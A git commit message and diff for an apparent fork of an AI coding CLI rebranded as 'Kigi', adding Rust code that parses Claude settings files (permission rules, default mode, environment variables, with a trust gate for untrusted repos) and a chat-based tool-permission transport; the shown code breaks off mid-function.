M0: compilable skeleton — Kigi 0.1.0 fork surgery
Hard fork of xai-org/grok-build (Apache-2.0) re-targeted as Kigi, an
unofficial Kimi Code CLI community build.
Rename & identity
- 72 xai-*/xai-grok-* crates -> kigi-* (explicit: xai-grok-pager-bin ->
kigi-bin [binary `kigi`], xai-grok-pager -> kigi-tui; rest mechanical);
ptyctl, ptyctl-cli, third_party/ unchanged; proto package
xai.grok.tools.v1 -> kigi.tools.v1
- Config home ~/.kigi (KIGI_SHARE_DIR override), env prefix GROK_* ->
KIGI_*, `kigi --version` carries the unofficial-community-build notice
- clap identity, help text, startup banner, prompt templates rebranded
(templates re-encrypted)
Deletions (PRD removal list #5/#6/#7/#9/#10)
- voice input (xai-grok-voice) and all TUI wiring
- telemetry: Mixpanel client, external OTel stream, Sentry, OTLP layers,
trace/GCS/S3 upload queues (kigi-file-utils halved), workspace upload
module & dc_log, heap-profile uploader, auth-diagnostics uploader,
session-analytics halves of feedback; local zero-egress observability
preserved in new kigi-log crate (unified log, --debug firehose,
subsystem file logs, opt-in instrumentation)
- announcements (crate, remote-settings fields, TUI surfaces)
- plugin marketplace (crate, sources/browse/CTA/extensions-modal tab);
direct plugin install/uninstall/update via kigi-agent git_install kept
- relay/gateway/assets endpoints and features (agent relay, headless
relay transport, gateway bridge, LeaderEnvUrls); leader IPC socket now
~/.kigi/leader.sock + KIGI_LEADER_SOCKET, no ws-url derivation
- functional types rehomed instead of deleted: PermissionMode ->
kigi-config-types, McpInitStrategy -> kigi-mcp, PrCreationSource ->
session signals, TerminalDiagnostics -> kigi-pager-render, agent_id ->
shell util
Endpoints
- kigi-env rewritten: single production KigiEndpoints {coding_api_base_url
https://api.kimi.com/coding/v1 (KIGI_CODE_BASE_URL), oauth_host
https://auth.kimi.com (KIGI_OAUTH_HOST), update_base_url (GitHub
Releases API), upgrade_page_url}; GrokBuildEnvironment enum deleted
Toolchain & workspace hygiene
- Rust 1.97.0 pinned; edition 2024; full cargo update; git2 hoisted to
workspace at 0.21 (Option->Result API migration), quick-xml 0.41
- Root Cargo.toml hand-maintained (PRD §8.1): version 0.1.0 inherited by
all members, members sorted, unused deps pruned
- cargo-deny advisories gate (deny.toml with documented transitive
exceptions); CI workflow (check/clippy/fmt/deny/test, macOS+Linux)
- cross-crate test seams re-gated behind `test-support` cargo feature;
insta snapshot baselines renamed to the kigi_tui prefix
- clippy --workspace --all-targets: zero warnings; fmt clean
Fixes surfaced by the port
- updater probe/installer divergence (bin/kigi vs bin/grok symlink set)
- idle model-metadata refresh dead under KIGI_CODE_BASE_URL override
(new is_effective_coding_endpoint_url, loopback+override aware)
- macOS symlinked-TMPDIR fixture canonicalization (foreign_sessions,
fast-worktree); RSS measurement tests serialized via serial_test
Docs & legal (Apache §4)
- NOTICE added (upstream attribution + change statement); THIRD-PARTY
notices sustained; kigi-tools ported-code notices extended; README,
CONTRIBUTING, SECURITY, AGENTS.md rewritten
Out of scope for M0 (tracked): Kimi auth/inference (M1), search/fetch,
command parity, config import (M2), Computer Hub excision & final
brand-token sweep (M2), distribution & self-update rewrite (M3).
This commit is contained in:
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,554 @@
|
||||
//! Reads and parses `.claude/settings.json` (vendor settings interop).
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
use serde::Deserialize;
|
||||
use tracing::{debug, warn};
|
||||
|
||||
use crate::permission::rules::parse_permission_rule;
|
||||
use crate::permission::types::{PermissionConfig, RuleAction};
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Settings Types (Claude JSON subset)
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
/// Subset of `.claude/settings.json` we care about.
|
||||
#[derive(Debug, Default, Deserialize)]
|
||||
#[serde(rename_all = "camelCase")]
|
||||
pub struct ClaudeSettings {
|
||||
#[serde(default)]
|
||||
pub permissions: Option<ParsedPermissions>,
|
||||
|
||||
/// Raw `defaultMode` string when present (canonical under `permissions`, or
|
||||
/// grok-only root legacy). Recognized values: `acceptEdits`,
|
||||
/// `bypassPermissions`, `default`, `plan`, `dontAsk`, `auto`.
|
||||
#[serde(default)]
|
||||
pub default_mode: Option<String>,
|
||||
|
||||
/// Parsed but not acted on yet.
|
||||
#[serde(default)]
|
||||
pub additional_directories: Option<Vec<String>>,
|
||||
|
||||
/// Environment variables applied to every session.
|
||||
/// Keys and values are strings; non-string values are coerced or skipped.
|
||||
#[serde(default)]
|
||||
pub env: Option<HashMap<String, String>>,
|
||||
}
|
||||
|
||||
/// Parsed `permissions` object from Claude settings.
|
||||
#[derive(Debug, Default, Deserialize)]
|
||||
pub struct ParsedPermissions {
|
||||
#[serde(default)]
|
||||
pub allow: Vec<String>,
|
||||
#[serde(default)]
|
||||
pub deny: Vec<String>,
|
||||
#[serde(default)]
|
||||
pub ask: Vec<String>,
|
||||
}
|
||||
|
||||
impl ParsedPermissions {
|
||||
/// Translate into native `PermissionConfig`.
|
||||
/// Unsupported or malformed entries are skipped with warnings.
|
||||
pub fn into_permission_config(self) -> (PermissionConfig, Vec<String>) {
|
||||
let mut rules = Vec::new();
|
||||
let mut warnings = Vec::new();
|
||||
|
||||
for (action, entries, label) in [
|
||||
(RuleAction::Allow, self.allow, "allow"),
|
||||
(RuleAction::Deny, self.deny, "deny"),
|
||||
(RuleAction::Ask, self.ask, "ask"),
|
||||
] {
|
||||
for rule_str in entries {
|
||||
match parse_permission_rule(&rule_str, action) {
|
||||
Ok(rule) => rules.push(rule),
|
||||
Err(e) => warnings.push(format!("permissions.{label}: {rule_str} -- {e}")),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
(PermissionConfig::new(rules), warnings)
|
||||
}
|
||||
}
|
||||
|
||||
/// Load Claude settings from a file path.
|
||||
///
|
||||
/// Returns:
|
||||
/// - `None` only for: file missing, unreadable, or unparseable JSON
|
||||
/// - `Some(ClaudeSettings)` even if `permissions` key is absent
|
||||
///
|
||||
/// This allows callers to observe `defaultMode` / `additionalDirectories` even when
|
||||
/// no `permissions` block exists, supporting the observability model.
|
||||
///
|
||||
/// **Tolerant parsing**:
|
||||
/// - `permissions.allow` / `permissions.deny` are extracted element-by-element
|
||||
/// from `serde_json::Value`. Non-string entries are skipped with warnings.
|
||||
/// - This enables partial success when some entries are malformed.
|
||||
/// - `defaultMode` / `additionalDirectories` prefer the canonical location
|
||||
/// under `permissions.*`. Root-level keys are **grok legacy only** (not in
|
||||
/// the vendor schema) and are used only when the nested key is **absent** —
|
||||
/// not when it is present but the wrong type.
|
||||
pub fn load_claude_settings(path: &Path) -> Option<ClaudeSettings> {
|
||||
let content = match std::fs::read_to_string(path) {
|
||||
Ok(c) => c,
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => return None,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
// Parse as generic JSON value for tolerant handling
|
||||
let value: serde_json::Value = match serde_json::from_str(&content) {
|
||||
Ok(v) => v,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
// Extract permissions tolerantly if present (with warnings for non-strings)
|
||||
let permissions = value.get("permissions").and_then(|p| {
|
||||
let (allow, allow_warnings) = extract_string_array(p.get("allow"));
|
||||
let (deny, deny_warnings) = extract_string_array(p.get("deny"));
|
||||
let (ask, ask_warnings) = extract_string_array(p.get("ask"));
|
||||
|
||||
// Log any warnings from tolerant extraction
|
||||
for w in allow_warnings
|
||||
.iter()
|
||||
.chain(deny_warnings.iter())
|
||||
.chain(ask_warnings.iter())
|
||||
{
|
||||
tracing::warn!(path = %path.display(), "{}", w);
|
||||
}
|
||||
|
||||
if allow.is_empty() && deny.is_empty() && ask.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(ParsedPermissions { allow, deny, ask })
|
||||
}
|
||||
});
|
||||
|
||||
// Canonical vendor settings store these under `permissions`; root is grok legacy only.
|
||||
let default_mode = extract_default_mode(&value, path);
|
||||
|
||||
let additional_directories = extract_additional_directories(&value, path);
|
||||
|
||||
let env = extract_string_map(value.get("env"), path);
|
||||
|
||||
Some(ClaudeSettings {
|
||||
permissions,
|
||||
default_mode,
|
||||
additional_directories,
|
||||
env,
|
||||
})
|
||||
}
|
||||
|
||||
/// Canonical key is `permissions.defaultMode`.
|
||||
///
|
||||
/// Root `defaultMode` is grok-only back-compat for older tests / hand-written
|
||||
/// configs. Fall back to root only when the nested key is **absent**. If nested
|
||||
/// is present but not a string, do not resurrect a root value (malformed
|
||||
/// canonical key must not revive stale legacy).
|
||||
pub(crate) fn extract_default_mode(value: &serde_json::Value, path: &Path) -> Option<String> {
|
||||
if let Some(perms) = value.get("permissions")
|
||||
&& let Some(dm) = perms.get("defaultMode")
|
||||
{
|
||||
return match dm.as_str() {
|
||||
Some(s) => Some(s.to_string()),
|
||||
None => {
|
||||
warn!(
|
||||
path = %path.display(),
|
||||
actual_type = %dm.type_of(),
|
||||
"permissions.defaultMode: expected string; not falling back to root defaultMode"
|
||||
);
|
||||
None
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
// Nested key absent — optional grok legacy root.
|
||||
match value.get("defaultMode") {
|
||||
Some(dm) => match dm.as_str() {
|
||||
Some(s) => Some(s.to_string()),
|
||||
None => {
|
||||
warn!(
|
||||
path = %path.display(),
|
||||
actual_type = %dm.type_of(),
|
||||
"root defaultMode (grok legacy): expected string, ignoring"
|
||||
);
|
||||
None
|
||||
}
|
||||
},
|
||||
None => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Claude-canonical key is `permissions.additionalDirectories`; root is
|
||||
/// legacy/compat. Nested wins when both are present.
|
||||
fn extract_additional_directories(value: &serde_json::Value, path: &Path) -> Option<Vec<String>> {
|
||||
// Mirror `extract_default_mode`: prefer the Claude-canonical nested key, and
|
||||
// when it is present but the wrong type, do *not* resurrect the grok-legacy
|
||||
// root value (a malformed canonical key must not revive stale legacy).
|
||||
let arr = if let Some(nested) = value
|
||||
.get("permissions")
|
||||
.and_then(|p| p.get("additionalDirectories"))
|
||||
{
|
||||
match nested.as_array() {
|
||||
Some(arr) => arr,
|
||||
None => {
|
||||
warn!(
|
||||
path = %path.display(),
|
||||
actual_type = %nested.type_of(),
|
||||
"permissions.additionalDirectories: expected array; not falling back to root additionalDirectories"
|
||||
);
|
||||
return None;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
value
|
||||
.get("additionalDirectories")
|
||||
.and_then(|v| v.as_array())?
|
||||
};
|
||||
|
||||
let mut result = Vec::new();
|
||||
for (i, v) in arr.iter().enumerate() {
|
||||
match v.as_str() {
|
||||
Some(s) => result.push(s.to_string()),
|
||||
None => tracing::warn!(
|
||||
path = %path.display(),
|
||||
index = i,
|
||||
actual_type = %v.type_of(),
|
||||
"additionalDirectories: expected string, skipping"
|
||||
),
|
||||
}
|
||||
}
|
||||
Some(result)
|
||||
}
|
||||
|
||||
/// Extract a string array from a JSON value, skipping non-strings with warnings.
|
||||
///
|
||||
/// Returns `(strings, warnings)` where warnings describe skipped entries.
|
||||
fn extract_string_array(value: Option<&serde_json::Value>) -> (Vec<String>, Vec<String>) {
|
||||
match value {
|
||||
Some(serde_json::Value::Array(arr)) => {
|
||||
let mut strings = Vec::new();
|
||||
let mut warnings = Vec::new();
|
||||
for (i, v) in arr.iter().enumerate() {
|
||||
match v.as_str() {
|
||||
Some(s) => strings.push(s.to_string()),
|
||||
None => warnings.push(format!(
|
||||
"permissions array index {}: expected string, got {}",
|
||||
i,
|
||||
v.type_of()
|
||||
)),
|
||||
}
|
||||
}
|
||||
(strings, warnings)
|
||||
}
|
||||
Some(other) => {
|
||||
let warnings = vec![format!(
|
||||
"permissions field: expected array, got {}",
|
||||
other.type_of()
|
||||
)];
|
||||
(Vec::new(), warnings)
|
||||
}
|
||||
None => (Vec::new(), Vec::new()),
|
||||
}
|
||||
}
|
||||
|
||||
/// Extract a `HashMap<String, String>` from a JSON object value.
|
||||
///
|
||||
/// Non-string scalars are coerced to their string form: numbers and booleans
|
||||
/// become their string representation. Null, array, and object values are
|
||||
/// skipped with warnings.
|
||||
///
|
||||
/// Note: nulls are intentionally skipped rather than coerced to the literal
|
||||
/// `"null"` — setting an env var to `"null"` is rarely useful and more likely a
|
||||
/// user mistake.
|
||||
fn extract_string_map(
|
||||
value: Option<&serde_json::Value>,
|
||||
path: &Path,
|
||||
) -> Option<HashMap<String, String>> {
|
||||
let obj = match value {
|
||||
Some(serde_json::Value::Object(map)) => map,
|
||||
Some(other) => {
|
||||
tracing::warn!(
|
||||
path = %path.display(),
|
||||
actual_type = %other.type_of(),
|
||||
"env: expected object, skipping"
|
||||
);
|
||||
return None;
|
||||
}
|
||||
None => return None,
|
||||
};
|
||||
|
||||
let mut result = HashMap::new();
|
||||
for (key, val) in obj {
|
||||
match val {
|
||||
serde_json::Value::String(s) => {
|
||||
result.insert(key.clone(), s.clone());
|
||||
}
|
||||
serde_json::Value::Number(n) => {
|
||||
result.insert(key.clone(), n.to_string());
|
||||
}
|
||||
serde_json::Value::Bool(b) => {
|
||||
result.insert(key.clone(), b.to_string());
|
||||
}
|
||||
other => {
|
||||
tracing::warn!(
|
||||
path = %path.display(),
|
||||
key = %key,
|
||||
actual_type = %other.type_of(),
|
||||
"env: expected string value, skipping"
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if result.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(result)
|
||||
}
|
||||
}
|
||||
|
||||
/// Small helper to get a JSON value's type name for diagnostics.
|
||||
trait JsonTypeName {
|
||||
fn type_of(&self) -> &'static str;
|
||||
}
|
||||
impl JsonTypeName for serde_json::Value {
|
||||
fn type_of(&self) -> &'static str {
|
||||
match self {
|
||||
serde_json::Value::Null => "null",
|
||||
serde_json::Value::Bool(_) => "boolean",
|
||||
serde_json::Value::Number(_) => "number",
|
||||
serde_json::Value::String(_) => "string",
|
||||
serde_json::Value::Array(_) => "array",
|
||||
serde_json::Value::Object(_) => "object",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Discovery
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
// TODO(follow-up): The discovery logic here (find_claude_settings_paths,
|
||||
// collect_project_claude_paths, find_repo_root) is local to this module.
|
||||
// If the Claude settings compatibility surface grows (more consumers beyond
|
||||
// permissions), consider extracting to a shared helper (e.g., in kigi-hooks
|
||||
// or a new claude-discovery crate).
|
||||
|
||||
/// Discover `.claude/settings.json` and `.claude/settings.local.json` paths
|
||||
/// for permission loading.
|
||||
///
|
||||
/// Files are returned in priority order (most-specific first):
|
||||
/// - Project: `<cwd>/.claude/settings.local.json`, `<cwd>/.claude/settings.json`
|
||||
/// (walking up to repo root; cwd entries listed first)
|
||||
/// - Global: `~/.claude/settings.local.json`, `~/.claude/settings.json`
|
||||
///
|
||||
/// Returns `true` if any `.claude/` configuration files exist in the project
|
||||
/// or user home directory.
|
||||
pub fn has_claude_compat(cwd: &Path) -> bool {
|
||||
find_claude_settings_paths(cwd).iter().any(|p| p.exists())
|
||||
}
|
||||
|
||||
/// Permission rules from all files are merged (later / more specific sources win
|
||||
/// for conflicts as documented below).
|
||||
/// `defaultMode` uses scope precedence: the most specific file that sets it wins.
|
||||
pub fn find_claude_settings_paths(cwd: &Path) -> Vec<PathBuf> {
|
||||
let mut paths = global_claude_settings_paths();
|
||||
|
||||
// Project paths (higher priority — closer to cwd wins)
|
||||
// Walk from cwd up to find .claude directories
|
||||
let project_paths = collect_project_claude_paths(cwd);
|
||||
// Prepend project paths (so they come first, higher priority)
|
||||
paths.splice(0..0, project_paths);
|
||||
|
||||
paths
|
||||
}
|
||||
|
||||
/// Global (user-tier) `~/.claude` settings paths, highest-priority-first. Split
|
||||
/// out of [`find_claude_settings_paths`] so [`load_claude_env_with_project`] can
|
||||
/// load ONLY the user tier when a folder is untrusted.
|
||||
///
|
||||
/// Use `dirs::home_dir()` to match the home-resolution strategy used by
|
||||
/// `claude_import.rs::scan_importable_settings` and `claude_import_state.rs`,
|
||||
/// so a path returned here reliably tests as global in the import scanner's
|
||||
/// `is_global` check.
|
||||
fn global_claude_settings_paths() -> Vec<PathBuf> {
|
||||
let mut paths = Vec::new();
|
||||
if let Some(home) = dirs::home_dir() {
|
||||
let global = home.join(".claude");
|
||||
paths.push(global.join("settings.local.json"));
|
||||
paths.push(global.join("settings.json"));
|
||||
}
|
||||
paths
|
||||
}
|
||||
|
||||
/// Whether a project-tree `.claude/settings.json` / `settings.local.json` exists
|
||||
/// anywhere along the SAME `cwd`→repo-root walk the env/permission loaders read
|
||||
/// ([`collect_project_claude_paths`]). The folder-trust detector calls this so
|
||||
/// detection can never drift from the loader: a settings file in a SUBDIR — whose
|
||||
/// `env` is injected into every spawned subprocess — must flip the folder
|
||||
/// untrusted, not just one at the git root.
|
||||
pub fn project_claude_settings_present(cwd: &Path) -> bool {
|
||||
collect_project_claude_paths(cwd)
|
||||
.iter()
|
||||
.any(|p| p.is_file())
|
||||
}
|
||||
|
||||
/// Collect .claude settings file paths from cwd up to repo root.
|
||||
///
|
||||
/// Resolves the repo root by `.git` EXISTENCE (not `git2` validity), kept
|
||||
/// separate from the folder-trust gate's shared `git2` walk on purpose: the
|
||||
/// env/permission loader ([`find_claude_settings_paths`]) and this detector both
|
||||
/// go through here, so they share ONE root resolution and can't drift — but a
|
||||
/// directory with a bare/empty `.git` (no valid repo) must still bound the walk.
|
||||
fn collect_project_claude_paths(cwd: &Path) -> Vec<PathBuf> {
|
||||
// Home-is-a-git-repo (dotfiles in $HOME): drop a resolved repo root that is
|
||||
// $HOME, or the walk would treat `~/.claude` as project-tier (injecting its
|
||||
// env / applying its rules for any cwd under home). Fall back to cwd so the
|
||||
// walk stays within the working dir. This is the shared choke point for both
|
||||
// `project_claude_settings_present` and `find_claude_settings_paths`.
|
||||
let repo_root = find_repo_root(cwd)
|
||||
.filter(|root| !crate::trust::is_home_dir(root))
|
||||
.unwrap_or_else(|| cwd.to_path_buf());
|
||||
|
||||
// Walk from cwd up to repo_root, collecting .claude paths (cwd-first priority).
|
||||
let mut paths = Vec::new();
|
||||
let mut current = cwd.to_path_buf();
|
||||
loop {
|
||||
let claude_dir = current.join(".claude");
|
||||
paths.push(claude_dir.join("settings.local.json"));
|
||||
paths.push(claude_dir.join("settings.json"));
|
||||
|
||||
if current == repo_root {
|
||||
break;
|
||||
}
|
||||
match current.parent() {
|
||||
Some(parent) => current = parent.to_path_buf(),
|
||||
None => break,
|
||||
}
|
||||
}
|
||||
paths
|
||||
}
|
||||
|
||||
/// Find the git repo root by walking up from cwd.
|
||||
fn find_repo_root(start: &Path) -> Option<PathBuf> {
|
||||
let mut current = start.to_path_buf();
|
||||
loop {
|
||||
if current.join(".git").exists() {
|
||||
return Some(current);
|
||||
}
|
||||
{
|
||||
let parent = current.parent()?;
|
||||
current = parent.to_path_buf()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Environment Variables
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
/// Load merged environment variables from Claude settings files, gating the
|
||||
/// repo-tree `.claude/settings.json` `env` on `project_trusted`.
|
||||
///
|
||||
/// Like permissions, env vars are merged cumulatively across all settings files
|
||||
/// (later layers override earlier keys) — walking `find_claude_settings_paths()`
|
||||
/// with precedence:
|
||||
/// - Global `~/.claude/settings.json` / `settings.local.json` (lowest)
|
||||
/// - Repo-root `.claude/settings.json` / `settings.local.json`
|
||||
/// - ... (intermediate directories up to cwd)
|
||||
/// - CWD `.claude/settings.json` / `settings.local.json` (highest)
|
||||
///
|
||||
/// Within each directory, `settings.local.json` overrides `settings.json`.
|
||||
/// Higher-precedence keys override lower via `HashMap::extend`.
|
||||
///
|
||||
/// The repo-tree `env` is injected into every spawned subprocess (`BASH_ENV` /
|
||||
/// `GIT_SSH_COMMAND` / `PATH` / `LD_PRELOAD` …), so when `project_trusted` is
|
||||
/// false it is dropped — an untrusted clone must not contribute it; the user's
|
||||
/// own `~/.claude` env is always loaded.
|
||||
pub fn load_claude_env_with_project(cwd: &Path, project_trusted: bool) -> HashMap<String, String> {
|
||||
// Phase 2 cutoff: if the user has imported, skip reading .claude/ at runtime.
|
||||
if is_claude_import_marked_with_log("load_claude_env_with_project") {
|
||||
return HashMap::new();
|
||||
}
|
||||
|
||||
// Untrusted folder: load ONLY the user-tier `~/.claude` env, dropping the
|
||||
// repo-tree (project) contribution.
|
||||
let paths = if project_trusted {
|
||||
find_claude_settings_paths(cwd)
|
||||
} else {
|
||||
global_claude_settings_paths()
|
||||
};
|
||||
let mut merged = HashMap::new();
|
||||
|
||||
// Paths are ordered highest-priority-first. Process in reverse so that
|
||||
// higher-priority values overwrite lower-priority ones via `extend`.
|
||||
for path in paths.iter().rev() {
|
||||
if let Some(settings) = load_claude_settings(path)
|
||||
&& let Some(env) = settings.env
|
||||
{
|
||||
debug!(
|
||||
path = %path.display(),
|
||||
count = env.len(),
|
||||
"Loaded env from Claude settings"
|
||||
);
|
||||
merged.extend(env);
|
||||
}
|
||||
}
|
||||
|
||||
merged
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Phase 2 cutoff marker
|
||||
// =============================================================================
|
||||
//
|
||||
// `kigi-shell::claude_import` writes the marker. We re-implement a small
|
||||
// reader here because the gate consumers live in this crate and can't depend
|
||||
// on shell (it would create a cycle). Caching is intentionally omitted; if
|
||||
// this becomes a hotspot we can lift it into a shared crate.
|
||||
|
||||
/// True when the user marked Claude settings imported (`[claude_compat].imported`
|
||||
/// in config.toml, or the test override). Public so gate-mirroring callers stay consistent.
|
||||
pub fn is_claude_import_marked() -> bool {
|
||||
// Test escape hatch: shell tests call `refresh_marker_cache(true)` which
|
||||
// lives in kigi-shell (inaccessible from here at runtime). They also
|
||||
// set this env var so the workspace-resident gate honours the override
|
||||
// without a cross-crate dependency.
|
||||
if std::env::var("_GROK_CLAUDE_MARKER_OVERRIDE").as_deref() == Ok("1") {
|
||||
return true;
|
||||
}
|
||||
let Some(config_path) = kigi_config::user_kigi_home().map(|g| g.join("config.toml")) else {
|
||||
return false;
|
||||
};
|
||||
let Ok(contents) = std::fs::read_to_string(&config_path) else {
|
||||
return false;
|
||||
};
|
||||
let Ok(value) = toml::from_str::<toml::Value>(&contents) else {
|
||||
return false;
|
||||
};
|
||||
value
|
||||
.get("claude_compat")
|
||||
.and_then(|v| v.get("imported"))
|
||||
.and_then(|v| v.as_bool())
|
||||
.unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Returns true when the user has marked their Claude settings as imported.
|
||||
///
|
||||
/// Logs a single info line the first time the gate is hit (per process) so
|
||||
/// we can confirm the cutoff is taking effect without flooding logs.
|
||||
pub(crate) fn is_claude_import_marked_with_log(gate_name: &'static str) -> bool {
|
||||
use std::sync::OnceLock;
|
||||
static LOGGED: OnceLock<()> = OnceLock::new();
|
||||
|
||||
let marked = is_claude_import_marked();
|
||||
if marked {
|
||||
LOGGED.get_or_init(|| {
|
||||
tracing::info!(
|
||||
first_gate = gate_name,
|
||||
"Claude compat disabled (marker set in config.toml)"
|
||||
);
|
||||
});
|
||||
}
|
||||
marked
|
||||
}
|
||||
@@ -0,0 +1,498 @@
|
||||
//! Tool-permission emit: when the rules engine returns "ask" for a guarded
|
||||
//! tool, request the decision from chat over the server instead of prompting a
|
||||
//! local ACP client, then map chat's reply back onto a [`PromptOutcome`] so the
|
||||
//! manager's existing decision + `ALWAYS_*` persistence applies unchanged.
|
||||
use crate::permission::prompter::{PromptOutcome, tool_name_for_access};
|
||||
use crate::permission::types::AccessKind;
|
||||
use async_trait::async_trait;
|
||||
use kigi_computer_hub_sdk::harness::PERMISSION_REQUEST_KIND;
|
||||
use kigi_computer_hub_sdk::{ToolServer, WeakToolServer};
|
||||
use kigi_tool_protocol::SessionId;
|
||||
use prometheus::{HistogramVec, IntCounter, register_histogram_vec, register_int_counter};
|
||||
use serde_json::Value;
|
||||
use std::sync::LazyLock;
|
||||
/// Wall-clock time the workspace awaits chat's decision on a `permission_request`
|
||||
/// hook. `outcome` is `ok` (chat replied) or `error` (transport failure /
|
||||
/// backstop deadline).
|
||||
static PERMISSION_REPLY_DURATION: LazyLock<HistogramVec> = LazyLock::new(|| {
|
||||
register_histogram_vec!(
|
||||
"grok_workspace_permission_reply_seconds",
|
||||
"Wall-clock time awaiting chat's reply to a permission_request hook",
|
||||
&["outcome"],
|
||||
vec![0.5, 1.0, 2.0, 5.0, 10.0, 30.0, 60.0, 120.0, 300.0, 600.0]
|
||||
)
|
||||
.expect("grok_workspace_permission_reply_seconds must register once")
|
||||
});
|
||||
/// Permission requests whose reply timed out (the server backstop deadline fired).
|
||||
/// A subset of the histogram's `error` outcome, promoted to its own counter so a
|
||||
/// stuck/lost reply is distinguishable from other transport failures.
|
||||
static PERMISSION_TIMEOUT_TOTAL: LazyLock<IntCounter> = LazyLock::new(|| {
|
||||
register_int_counter!(
|
||||
"grok_workspace_permission_timeout_total",
|
||||
"permission_request hooks whose reply timed out (backstop deadline fired)"
|
||||
)
|
||||
.expect("grok_workspace_permission_timeout_total must register once")
|
||||
});
|
||||
/// Zero-init this module's metric families. See [`crate::init_metrics`].
|
||||
pub(crate) fn init_metrics() {
|
||||
for outcome in ["ok", "error"] {
|
||||
let _ = PERMISSION_REPLY_DURATION.with_label_values(&[outcome]);
|
||||
}
|
||||
PERMISSION_TIMEOUT_TOTAL.inc_by(0);
|
||||
}
|
||||
/// Identifies the reply backstop-deadline timeout by its rendered message; the
|
||||
/// server SDK exposes no typed timeout variant to match on. If that message text
|
||||
/// changes, such a reply is recorded under the histogram's `error` outcome but
|
||||
/// not counted in `permission_timeout_total`.
|
||||
fn is_timeout_err(msg: &str) -> bool {
|
||||
msg.contains("timed out")
|
||||
}
|
||||
/// Env var that enables the HITL-live **tool-permission** emit (workspace →
|
||||
/// chat over the server) for local e2e and gradual rollout. Prefer server capability
|
||||
/// negotiation long-term; this is the interim gate so tool-permission can be
|
||||
/// exercised without waiting on that wire format.
|
||||
pub const HITL_PERMISSION_LIVE_ENV: &str = "KIGI_HITL_PERMISSION_LIVE";
|
||||
/// Whether the HITL-live permission path is enabled.
|
||||
///
|
||||
/// Intended long-term gate: the chat flag `grok_chat_enable_hitl_live_path`,
|
||||
/// propagated by the server at session-bind (capability negotiation). Until that
|
||||
/// lands, honor [`HITL_PERMISSION_LIVE_ENV`] (`1` / `true` / `yes`) so local
|
||||
/// stacks and e2e can turn the emit on explicitly. Default remains **off**
|
||||
/// (fail closed to the local ACP prompt).
|
||||
pub fn hitl_permission_live_enabled() -> bool {
|
||||
match std::env::var(HITL_PERMISSION_LIVE_ENV) {
|
||||
Ok(v) => {
|
||||
matches!(
|
||||
v.trim().to_ascii_lowercase().as_str(),
|
||||
"1" | "true" | "yes" | "on"
|
||||
)
|
||||
}
|
||||
Err(_) => false,
|
||||
}
|
||||
}
|
||||
/// Sends a `permission_request` hook to chat and awaits the decision reply.
|
||||
#[async_trait]
|
||||
pub trait PermissionHookTransport: Send + Sync {
|
||||
/// Emit the permission-request `payload` and return chat's decision reply.
|
||||
async fn request_permission(&self, payload: Value) -> Result<Value, String>;
|
||||
}
|
||||
/// Hub-backed permission transport (weak server handle; upgrades per request).
|
||||
pub struct ToolServerPermissionTransport {
|
||||
server: WeakToolServer,
|
||||
session_id: SessionId,
|
||||
}
|
||||
impl ToolServerPermissionTransport {
|
||||
pub fn new(server: ToolServer, session_id: SessionId) -> Self {
|
||||
Self {
|
||||
server: server.downgrade(),
|
||||
session_id,
|
||||
}
|
||||
}
|
||||
/// Build from a session id held as a string; `None` if it is not a valid
|
||||
/// [`SessionId`].
|
||||
pub fn from_session_id(server: ToolServer, session_id: &str) -> Option<Self> {
|
||||
SessionId::new(session_id)
|
||||
.ok()
|
||||
.map(|sid| Self::new(server, sid))
|
||||
}
|
||||
}
|
||||
#[async_trait]
|
||||
impl PermissionHookTransport for ToolServerPermissionTransport {
|
||||
async fn request_permission(&self, payload: Value) -> Result<Value, String> {
|
||||
let start = std::time::Instant::now();
|
||||
let Some(server) = self.server.upgrade() else {
|
||||
PERMISSION_REPLY_DURATION
|
||||
.with_label_values(&["error"])
|
||||
.observe(start.elapsed().as_secs_f64());
|
||||
return Err("tool server gone (weak upgrade failed)".to_owned());
|
||||
};
|
||||
let raw = server
|
||||
.request_hook(
|
||||
self.session_id.clone(),
|
||||
PERMISSION_REQUEST_KIND.to_owned(),
|
||||
payload,
|
||||
)
|
||||
.await;
|
||||
let outcome = match &raw {
|
||||
Ok(_) => "ok",
|
||||
Err(e) => {
|
||||
if is_timeout_err(&e.to_string()) {
|
||||
PERMISSION_TIMEOUT_TOTAL.inc();
|
||||
}
|
||||
"error"
|
||||
}
|
||||
};
|
||||
PERMISSION_REPLY_DURATION
|
||||
.with_label_values(&[outcome])
|
||||
.observe(start.elapsed().as_secs_f64());
|
||||
raw.map_err(|e| e.to_string())
|
||||
}
|
||||
}
|
||||
fn scope_for_access(access: &AccessKind) -> &'static str {
|
||||
match access {
|
||||
AccessKind::Bash(_) | AccessKind::Edit(_) | AccessKind::MCPTool { .. } => "write",
|
||||
AccessKind::Read(_)
|
||||
| AccessKind::Grep { .. }
|
||||
| AccessKind::WebFetch(_)
|
||||
| AccessKind::WebSearch(_) => "read",
|
||||
}
|
||||
}
|
||||
fn describe_access(access: &AccessKind) -> String {
|
||||
match access {
|
||||
AccessKind::Bash(_) => "Run a terminal command".to_owned(),
|
||||
AccessKind::Edit(path) => format!("Edit {path}"),
|
||||
